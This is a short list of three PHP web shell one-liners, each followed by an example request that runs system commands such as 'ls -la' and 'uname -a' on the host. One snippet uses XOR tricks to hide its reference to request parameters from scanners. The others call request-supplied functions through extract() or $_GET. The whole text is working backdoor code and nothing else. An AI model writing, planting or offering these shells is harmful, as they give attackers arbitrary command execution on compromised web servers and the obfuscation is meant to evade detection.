1.
<?php
$_="{";$_=($_^"<").($_^">").($_^"/");${'_'.$_}["_"](${'_'.$_}["__"]);
?>
example: #q.php?_=system&__=ls -la

2.
@extract($_REQUEST);
@die($ctime($atime));

example: http://site.com/PoC.php?ctime=system&atime=ls -la

3.
<?php
$_GET['a']($_GET['b']);
example: .php?a=system&b=uname -a